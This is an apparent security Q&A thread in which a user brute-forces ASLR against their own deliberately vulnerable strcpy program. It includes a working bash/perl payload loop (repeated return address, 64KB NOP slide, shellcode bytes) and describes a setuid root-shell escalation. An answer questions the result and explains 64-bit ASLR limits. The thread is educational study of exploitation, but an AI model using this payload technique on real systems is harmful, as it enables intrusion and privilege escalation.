4

I just read about Address Space Layout Randomization and I tried a very simple script to try to brute force it. Here is the program I used to test a few things.

#include <stdio.h>
#include <string.h>

int main (int argc, char **argv)
{
    char buf[8];
    printf("&buf = %p\n", buf);
    if (argc > 1 && strcpy(buf, argv[1]));
    return 0;
}

I compiled it with this command:

gcc -g -fno-stack-protector -o vul vul.c

I made sure ASLR was enabled:

$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2

Then, I came up with this simple script:

str=`perl -e 'print "\x40\xfa\xbb\xbf"x10 \
    . "\x90"x65536                        \
    . "\x31\xc0\x40\x89\xc3\xcd\x80"'`

while [ $? -ne 1 ]; do
    ./vul $str
done

The format is

return address many times | 64KB NOP slide | shellcode that runs exit(1)

After running this script for a few seconds it exits with error code 1 as I wanted it to. I also tried other shellcodes that call execv("/bin/sh", ...) and I was successful as well.

I find it strange that it's possible to create such a long NOP slide even after the return address. I thought ASLR was more effective, did I miss something? Is it because the address space is too small?

EDIT: I did some additional research and here is what I found:

  • I asked a friend to run this code using -m32 -z execstack on his 64b computer and after changing the return address a bit, he had the same results.

  • Even though I did not use -z execstack, I managed to execute the shellcode. I made sure of that by using different shellcodes which all did what they were supposed to do (even the well know scenario chown root ./vul, chmod +s ./vul, shellcode that runs setreuid(0, 0) then execv("/bin/sh", ...) and finally whoami that returns 'root' in the spawned shell). That is quite strange since execstack -q ./vul tels me the executable stack flag bit is not set. Does anyone have an idea why?

Cahu
  • 249
  • 2
  • 9

1 Answers1

1

First of all, I'm a bit surprised that you do not need to pass the option -z execstack to the compiler to get the shellcode to execute the exit(1).

Moreover, I guess you are on a 32bits machine as you did not pass the option -m32 to gcc in order to get 32bits code.

Finally, I did run your program without success (I waited way more than a few seconds).

So, I'm a bit doubtful about your conclusion (except if you are running a very peculiar Linux system or may have been lucky).

Anyway, there are two main things that you have not mentionned:

  1. Having a bug that offer an unlimited exploitation windows is quite rare.
  2. Most of the modern systems run on amd64 (64bits) processors, which lower drastically the probability to hit the nop-zone.

You may take a look at the section "ASLR Effectiveness" on the ASLR's Wikipedia page.

perror
  • 7,071
  • 16
  • 58
  • 85